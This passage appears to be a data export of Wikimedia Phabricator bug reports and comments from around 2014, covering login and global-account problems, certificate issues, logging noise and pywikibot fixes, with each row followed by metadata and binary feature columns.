+and i would request *.wmfusercontent.org right away, i _think_ we want a unified one in this case, not a separate one for each service to come. that being said, if we actually kill BZ, what else IS going to use it?  technically, lists.wm allows users to upload stuff",,,1410486392,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-vdwnq7zdfkfzyzva3obb,task_subcomment,,True,c3,1,True,,,-42,True,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+2357,get certificate for phab.wmfusercontent.org,"**dzahn** wrote on `2014-08-28 01:27:43 (UTC)`
+
+you should ping RobH about this",,,1410486392,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-vdwnq7zdfkfzyzva3obb,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+76117,User Name from Wikipedia can't be used to login to phabricator,"On wikipedia I use Yurivict.
+When I try to login to phabricator, wikipedia password doesn't work.
+""Login or Register"" button on the ""Login or Register with LDAP"" screen doesn't lead to ""Register"" function at all, only to ""Login"".
+
+Login screen on https://www.mediawiki.org/ says there is no Yurivict account, but when I try to create the Yurivict account there, it fails and says there the similar account.
+
+So I had to bail out and create this Yuri271 acct to even be able to create this PR. All these problems defeat the purpose of ""Sinogle login"".
+
+Also you IMO don't need to tell users LDAP login, this only introduces another concept (LDAP) in addition to MediaWiki, WikiMedia, WikiPedia.
+
+Now this leaves me confused, and unable to use single login at all.",Needs Triage,90.0,1417050177,1417056465.0,PHID-USER-hpjcdugjiwaoiwgklhnd,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-ohpp4da3hkjed775yze7,task_description,declined,True,c3,1,False,False,True,-31,True,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,1,0,0,0,0
+333853,User Name from Wikipedia can't be used to login to phabricator,"https://www.mediawiki.org/wiki/Phabricator/Help#Creating_your_account  states ""If that doesn't work, try unifying your account. Finally, if you can not unify your account (or don't have an account at all yet), signup for MediaWiki.org.""
+
+I'm sorry but there is nothing that could be fixed in Phabricator itself - this needs to be handled by following https://meta.wikimedia.org/wiki/Help:Unified_login#How_to_unify_your_accounts instead.",,,1417056465,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ohpp4da3hkjed775yze7,task_subcomment,,True,c3,1,True,,,-31,True,1,0,0,1,1,1,0,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0
+333847,User Name from Wikipedia can't be used to login to phabricator,"Once mediawiki rejects new account due to the name similarity, it should offer the user to consolidate login IMO. Ask for the password for that other login, and ask to offer to consolidate, if consolidation is a desirable in general.
+
+I only wanted to report some unrelated bug in wikipedia, googled my way to phabricator and got lost in the login process in it.",,,1417054635,,PHID-USER-hpjcdugjiwaoiwgklhnd,False,,,PHID-TASK-ohpp4da3hkjed775yze7,task_subcomment,,True,c3,1,False,,,-31,True,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+333815,User Name from Wikipedia can't be used to login to phabricator,"https://en.wikipedia.org/wiki/Special:CentralAuth/Yurivict
+
+It looks like currently you don't have a global (across Wikimedia wikis) account, just a local (English Wikipedia) account. Once you create a global account, login via mediawiki.org should work.",,,1417050401,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ohpp4da3hkjed775yze7,task_subcomment,,True,c3,1,True,,,-31,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+333814,User Name from Wikipedia can't be used to login to phabricator,"LDAP login is for specific users that have an account on wikitech... Users who have that access would likely know
+
+The problem is you don't have a global account see https://en.wikipedia.org/wiki/Special:CentralAuth/Yurivict
+
+This is part of a wider issue, which already has an issue for it",,,1417050398,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ohpp4da3hkjed775yze7,task_subcomment,,True,c3,1,True,,,-31,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,1,0,0
+75929,CentralAuth logging a lot (login attempts/successes/etc) on Beta Cluster,"See: https://logstash-beta.wmflabs.org/#dashboard/temp/2SNGw0-8S1CRMRhiSZdiVA
+
+I'm only calling this out because:
+1. It's far and ahead the noisiest log there is
+2. This is logging stuff that we don't log in prod, right?",Needs Triage,90.0,1416952213,1417470652.0,PHID-USER-z3l4i7dl52qicxtephy5,False,PHID-USER-z3l4i7dl52qicxtephy5,False,PHID-TASK-3uvn5qxa4eq3fjyicnbd,task_description,declined,True,c3,1,True,True,True,-32,True,0,0,0,0,1,1,0,1,0,0,1,1,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,0,1,1
+334982,CentralAuth logging a lot (login attempts/successes/etc) on Beta Cluster,">>! In T75929#786170, @Legoktm wrote:
+> All of those are logged in prod as well. The migration stuff has been useful in debugging weird errors imo.
+
+Fine then :) Really, that's the right answer. Thanks.",,,1417470652,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-3uvn5qxa4eq3fjyicnbd,task_subcomment,,True,c3,1,True,,,-31,True,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,1
+333170,CentralAuth logging a lot (login attempts/successes/etc) on Beta Cluster,All of those are logged in prod as well. The migration stuff has been useful in debugging weird errors imo.,,,1416953328,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-3uvn5qxa4eq3fjyicnbd,task_subcomment,,True,c3,1,True,,,-32,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+75533,login requests password when the API says the username doesnt exist,"The API returns result 'NotExists', but pywikibot prompts for a password
+
+DEBUG:pywiki.data.api:API response received from vikidia:en:
+{""login"":{""result"":""NotExists""}}
+ERROR: Login failed (NotExists).
+ERROR:pywiki:Login failed (NotExists).
+Password for user Jayvdb on vikidia:en (no characters will be shown):
+
+--------------------------
+**Version**: core-(2.0)
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=73539",Needs Triage,90.0,1416267900,1416380573.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-nwsogwlpzqkl35khmtx5,task_description,resolved,True,c3,1,True,False,True,-33,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+325601,login requests password when the API says the username doesnt exist,"**gerritadmin** wrote:
+
+Change 174035 merged by jenkins-bot:
+Stop login retrying if username is invalid
+
+https://gerrit.wikimedia.org/r/174035",,,1416365873,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-nwsogwlpzqkl35khmtx5,task_subcomment,,True,c3,1,False,,,-33,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+325596,login requests password when the API says the username doesnt exist,"**gerritadmin** wrote:
+
+Change 174035 had a related patch set uploaded by John Vandenberg:
+Stop login retrying if username is invalid
+
+https://gerrit.wikimedia.org/r/174035",,,1416280902,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-nwsogwlpzqkl35khmtx5,task_subcomment,,True,c3,1,False,,,-33,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+75190,bugzilla.wikimedia.org certificate validity period too long,"Apparently Chrome Canary is unhappy with a certificate expiring in 2017 now.  I'm not sure if this has anything to do with the SHA-1 signature.
+
+You attempted to reach bugzilla.wikimedia.org, but the server presented a certificate for which the period is too long.
+
+NET::ERR_CERT_VALIDITY_TOO_LONG
+
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.2 Safari/537.36
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Needs Triage,90.0,1415517300,1415538938.0,PHID-USER-gct3jslngczd4jvmyy6e,False,,False,PHID-TASK-rqsd7x4yoy3qwzqqwof3,task_description,resolved,True,c3,1,False,False,True,-34,True,0,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+332084,bugzilla.wikimedia.org certificate validity period too long,"Hi Jimmy. Thanks for taking the time to report this!
+This particular problem has already been reported into our bug tracking system, but please feel free to report any further issues you find.
+
+*** This bug has been marked as a duplicate of bug 71156 ***",,,1415538938,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-rqsd7x4yoy3qwzqqwof3,task_subcomment,,True,c3,1,True,,,-34,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+332083,bugzilla.wikimedia.org certificate validity period too long,"Related Chromium bug: https://code.google.com/p/chromium/issues/detail?id=119211
+
+Looks like the validity of the certificate should not exceed 39 months, with some exceptions.",,,1415520138,,PHID-USER-egb2rrk2oesw3bub7som,False,,,PHID-TASK-rqsd7x4yoy3qwzqqwof3,task_subcomment,,True,c3,1,False,,,-34,True,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+332082,bugzilla.wikimedia.org certificate validity period too long,The same error for gerrit.wikimedia.org.  However phabricator seem to be fine.,,,1415517420,,PHID-USER-gct3jslngczd4jvmyy6e,False,,,PHID-TASK-rqsd7x4yoy3qwzqqwof3,task_subcomment,,True,c3,1,False,,,-34,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+74980,Errors not styled as errors on login form,"error
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F14847}",Needs Triage,90.0,1415136000,1415137863.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-3k7bo66bxo3g6yukjld5,task_description,resolved,True,c3,1,True,False,True,-35,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+323958,Errors not styled as errors on login form,"Change 171047 merged by jenkins-bot:
+Style Login error messages in stable, too
+
+https://gerrit.wikimedia.org/r/171047",,,1415137453,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3k7bo66bxo3g6yukjld5,task_subcomment,,True,c3,1,False,,,-35,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+323952,Errors not styled as errors on login form,"Change 171047 had a related patch set uploaded by Florianschmidtwelzow:
+Style Login error messages in stable, too
+
+https://gerrit.wikimedia.org/r/171047",,,1415136772,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3k7bo66bxo3g6yukjld5,task_subcomment,,True,c3,1,False,,,-35,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+323946,Errors not styled as errors on login form,"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Trello card https://trello.com/c/z5UH8k83",,,1415136322,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-3k7bo66bxo3g6yukjld5,task_subcomment,,True,c3,1,False,,,-35,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+74895,"generate_family_file.py doesn't add https to the class, despite informing the user the API url is https","generate_family_file.py does not add support for https
+
+```
+$ python ./generate_family_file.py https://wikiapiary.com/wiki/Main_Page wikiapiary
+Generating family file from https://wikiapiary.com/wiki/Main_Page
+
+==================================
+api url: https://wikiapiary.com/w/api.php
+MediaWiki version: 1.23.6
+==================================
+
+Determining other languages...
+Loading wikis... 
+  * en... in cache
+Writing pywikibot/families/wikiapiary_family.py... 
+
+
+$ cat pywikibot/families/wikiapiary_family.py
+# -*- coding: utf-8 -*-
+""""""
+This family file was auto-generated by $Id: 185033971c163ea46b2b1904773b8c407069a4d0 $
+Configuration parameters:
+  url = https://wikiapiary.com/wiki/Main_Page
+  name = wikiapiary
+
+Please do not commit this to the Git repository!
+""""""
+
+from pywikibot import family
+
+class Family(family.Family):
+    def __init__(self):
+        family.Family.__init__(self)
+        self.name = 'wikiapiary'
+        self.langs = {
+            'en': 'wikiapiary.com',
+        }
+
+
+
+    def scriptpath(self, code):
+        return {
+            'en': '/w',
+        }[code]
+
+    def version(self, code):
+        return {
+            'en': u'1.23.6',
+        }[code]
+```",Needs Triage,90.0,1414986600,1438825280.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-ldooglhg45a3eg7cmxhh,False,PHID-TASK-cnuojlikoulksvmvcifo,task_description,resolved,True,c3,1,True,False,True,-35,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,1,1,1,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+502887,"generate_family_file.py doesn't add https to the class, despite informing the user the API url is https","Change 229115 merged by jenkins-bot:
+Detect protocol of site for family file
+
+[[https://gerrit.wikimedia.org/r/229115]]",,,1438812576,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cnuojlikoulksvmvcifo,task_subcomment,,True,c3,3,False,,,4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+502264,"generate_family_file.py doesn't add https to the class, despite informing the user the API url is https","Change 229115 had a related patch set uploaded (by VcamX):
+Detect protocol of site for family file
+
+[[https://gerrit.wikimedia.org/r/229115]]
+",,,1438739673,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cnuojlikoulksvmvcifo,task_subcomment,,True,c3,3,False,,,4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+74832,HttpRequestException crashes,"From EditPreviewFragment:
+https://ticket.wikimedia.org/otrs/index.pl?Action=AgentTicketZoom;TicketID=7922735
+https://ticket.wikimedia.org/otrs/index.pl?Action=AgentTicketZoom;TicketID=7921778
+
+Were these caused by Gerrit change 168313?
+
+Also from EditSectionActivity in https://ticket.wikimedia.org/otrs/index.pl?Action=AgentTicketZoom;TicketID=7918248
+
+--------------------------
+**Version**: Stable
+**Severity**: normal",Needs Triage,90.0,1414785840,1414794487.0,PHID-USER-x7ti5ksby4ubsabntlxa,False,,False,PHID-TASK-3bfxnskmdtqjfbzxacev,task_description,resolved,True,c3,1,True,False,True,-35,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0
+328666,HttpRequestException crashes,Was merged.,,,1414794487,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-3bfxnskmdtqjfbzxacev,task_subcomment,,True,c3,1,True,,,-35,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+328663,HttpRequestException crashes,These will be fixed by: https://gerrit.wikimedia.org/r/169962,,,1414786080,,PHID-USER-pbvnfgskfwsdalhpd7np,False,,,PHID-TASK-3bfxnskmdtqjfbzxacev,task_subcomment,,True,c3,1,True,,,-35,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0
+74723,Login icon showing on Special:MobileMenu for non-JS users,"Eek
+
+See screenshot.
+
+In JS we don't show the icons
+Expected: icon is not visible.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F14851}",Needs Triage,90.0,1414623780,1414690693.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-no7r7brnlcneni4kkfcp,task_description,resolved,True,c3,1,True,False,True,-36,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+324027,Login icon showing on Special:MobileMenu for non-JS users,"Change 169956 merged by jenkins-bot:
+Remove login icon from Special:MobileMenu for non-JS users
+
+https://gerrit.wikimedia.org/r/169956",,,1414690683,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-no7r7brnlcneni4kkfcp,task_subcomment,,True,c3,1,False,,,-35,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+324023,Login icon showing on Special:MobileMenu for non-JS users,"Change 169956 had a related patch set uploaded by Bmansurov:
+Remove login icon and a border from Special:MobileMenu for non-JS users
+
+https://gerrit.wikimedia.org/r/169956",,,1414624886,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-no7r7brnlcneni4kkfcp,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+324018,Login icon showing on Special:MobileMenu for non-JS users,"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Trello card https://trello.com/c/3PaCFMdb",,,1414623915,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-no7r7brnlcneni4kkfcp,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+74597,Language selectors looks out of place in alpha login page,"alpha login page
+
+See image. The language links should be centered (or maybe hidden?). Now they look out of place.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+
+**Attached**: {F15220}",Needs Triage,90.0,1414450920,1414451744.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,False,PHID-TASK-y6acjoulwnqpli2yepse,task_description,invalid,True,c3,1,True,False,True,-36,True,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+329420,Language selectors looks out of place in alpha login page,"Yeh this is a result of trying to repurpose the desktop login form in alpha.
+I've added this to acceptance criteria in https://trello.com/c/jt1O10K2/16-use-desktop-login-account-creation-pages",,,1414451744,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-y6acjoulwnqpli2yepse,task_subcomment,,True,c3,1,True,,,-36,True,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+329415,Language selectors looks out of place in alpha login page,"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Trello card https://trello.com/c/MymsQ4Ns",,,1414451111,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-y6acjoulwnqpli2yepse,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+74580,Redirect to editor after login doesn't work for lead section,"If you click on the edit pencil (you're not logged in) on a section heading, you'll have a returnquery in the login link (returntoquery=action%3Dedit%26section%3D1) which will result in a redirect to the mobile editor after a successful login.
+
+This returnquery is missing for the lead section edit link, so if you successful logged in, you only see the article, but have to click again to edit.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1414443300,1414623481.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,False,PHID-TASK-eij2s6i3n4cpcv4fwchs,task_description,resolved,True,c3,1,True,False,True,-36,True,0,0,0,0,1,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+328621,Redirect to editor after login doesn't work for lead section,"Change 169216 merged by jenkins-bot:
+Fix no-redirecting Cta in Edit-workflow
+
+https://gerrit.wikimedia.org/r/169216",,,1414607290,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eij2s6i3n4cpcv4fwchs,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+328619,Redirect to editor after login doesn't work for lead section,"Change 169216 had a related patch set uploaded by Florianschmidtwelzow:
